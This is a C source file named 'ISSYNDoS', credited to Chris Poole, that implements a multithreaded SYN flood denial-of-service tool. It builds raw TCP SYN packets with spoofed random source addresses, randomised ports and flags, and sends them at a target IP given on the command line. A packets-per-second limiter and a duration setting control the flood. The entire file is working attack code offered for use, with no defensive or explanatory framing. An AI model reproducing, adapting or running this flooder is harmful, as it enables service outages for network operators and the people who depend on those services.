[C] ISSYNDoS

// Improved SSYN Script - random ports, random flags. by Chris Poole | @codingplanets
#include <pthread.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <time.h>
#define MAX_PACKET_SIZE 4096
#define PHI 0x9e3779b9
static unsigned long int Q[4096], c = 362436;
volatile int limiter;
volatile unsigned int pps;
volatile unsigned int sleeptime = 100;

void init_rand(unsigned long int x)
{
		int i;
		Q[0] = x;
		Q[1] = x + PHI;
		Q[2] = x + PHI + PHI;
		for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; }
}
unsigned long int rand_cmwc(void)
{
		unsigned long long int t, a = 18782LL;
		static unsigned long int i = 4095;
		unsigned long int x, r = 0xfffffffe;
		i = (i + 1) & 4095;
		t = a * Q[i] + c;
		c = (t >> 32);
		x = t + c;
		if (x < c) {
				x++;
				c++;
		}
		return (Q[i] = r - x);
}
unsigned short csum (unsigned short *buf, int count)
{
		register unsigned long sum = 0;
		while( count > 1 ) { sum += *buf++; count -= 2; }
		if(count > 0) { sum += *(unsigned char *)buf; }
		while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
		return (unsigned short)(~sum);
}

unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) {

		struct tcp_pseudo
		{
				unsigned long src_addr;
				unsigned long dst_addr;
				unsigned char zero;
				unsigned char proto;
				unsigned short length;
		} pseudohead;
		unsigned short total_len = iph->tot_len;
		pseudohead.src_addr=iph->saddr;
		pseudohead.dst_addr=iph->daddr;
		pseudohead.zero=0;
		pseudohead.proto=IPPROTO_TCP;
		pseudohead.length=htons(sizeof(struct tcphdr));
		int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
		unsigned short *tcp = malloc(totaltcp_len);
		memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
		memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
		unsigned short output = csum(tcp,totaltcp_len);
		free(tcp);
		return output;
}

void setup_ip_header(struct iphdr *iph)
{
		char ip[17];
		snprintf(ip, sizeof(ip)-1, "%d.%d.%d.%d", rand()%255, rand()%255, rand()%255, rand()%255);
		iph->ihl = 5;
		iph->version = 4;
		iph->tos = 0;
		iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);
		iph->id = htonl(rand()%54321);
		iph->frag_off = 0;
		iph->ttl = MAXTTL;
		iph->protocol = 6;
		iph->check = 0;
		iph->saddr = inet_addr(ip);
}

void setup_tcp_header(struct tcphdr *tcph)
{
		tcph->source = htons(rand()%65535);
		tcph->seq = rand();
		tcph->ack_seq = 0;
		tcph->res1 = 0;
		tcph->res2 = 0;
		tcph->doff = 5;
		tcph->psh = 0;
		tcph->syn = 1;
		tcph->window = htons(65535);
		tcph->check = 0;
		tcph->urg_ptr = 0;
}

void *flood(void *par1)
{
	char *td = (char *)par1;
	char datagram[MAX_PACKET_SIZE];
	struct iphdr *iph = (struct iphdr *)datagram;
	struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);

	struct sockaddr_in sin;
	sin.sin_family = AF_INET;
	sin.sin_port = htons(rand()%54321);
	sin.sin_addr.s_addr = inet_addr(td);

	int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
	if(s < 0){
			fprintf(stderr, "Could not open raw socket.\n");
			exit(-1);
	}
	memset(datagram, 0, MAX_PACKET_SIZE);
	setup_ip_header(iph);
	setup_tcp_header(tcph);
	tcph->dest = htons(rand()%54321);
	iph->daddr = sin.sin_addr.s_addr;
	iph->check = csum ((unsigned short *) datagram, iph->tot_len);
	int tmp = 1;
	const int *val = &tmp;
	if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
			fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
			exit(-1);
	}
	init_rand(time(NULL));
	register unsigned int i;
	i = 0;
	int psh = 0;
	int res1 = 0;
	int res2 = 0;
	while(1)
	{
		if(psh > 1) psh = 1;
		if(res1 > 4) res1 = 0;
		if(res2 > 3) res2 = 0;
		sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
		setup_ip_header(iph);
		setup_tcp_header(tcph);
		iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);
		iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
		tcph->dest = htons(rand()%65535);
		iph->daddr = sin.sin_addr.s_addr;
		iph->check = csum ((unsigned short *) datagram, iph->tot_len);
		tcph->seq = rand_cmwc() & 0xFFFF;
		tcph->source = htons(rand_cmwc() & 0xFFFF);
		tcph->ack_seq = 1;
		tcph->psh = psh;
		tcph->res1 = res1;
		tcph->res2 = res2;
		tcph->check = 0;
		tcph->check = tcpcsum(iph, tcph);
		pps++;
		psh++;
		res1++;
		res2++;
		if(i >= limiter)
		{
				i = 0;
				usleep(sleeptime);
		}
		i++;
	}
}
int main(int argc, char *argv[ ])
{
		if(argc < 5){
				fprintf(stdout, "ISSYN v1.0 - Improved by Chris Poole\nInvalid parameters!\nUsage: %s <target IP> <number threads to use> <pps limiter, -1 for no limit> <time>\n", argv[0]);
				exit(-1);
		}
		srand(time(0));
		int num_threads = atoi(argv[2]);
		int maxpps = atoi(argv[3]);
		limiter = 0;
		pps = 0;
		pthread_t thread[num_threads];
		int multiplier = 20;
		int i;
		fprintf(stderr, "Start flooding ...\n", argv[1]);
		for(i = 0;i<num_threads;i++){
				pthread_create( &thread[i], NULL, &flood, (void *)argv[1]);
		}
		fprintf(stderr, "Flooding: %s\n", argv[1]);
		for(i = 0;i<(atoi(argv[4])*multiplier);i++)
		{
				usleep((1000/multiplier)*1000);
				if((pps*multiplier) > maxpps)
				{
						if(1 > limiter)
						{
								sleeptime+=100;
						} else {
								limiter--;
						}
				} else {
						limiter++;
						if(sleeptime > 25)
						{
								sleeptime-=25;
						} else {
								sleeptime = 0;
						}
				}
				pps = 0;
		}

		return 0;
}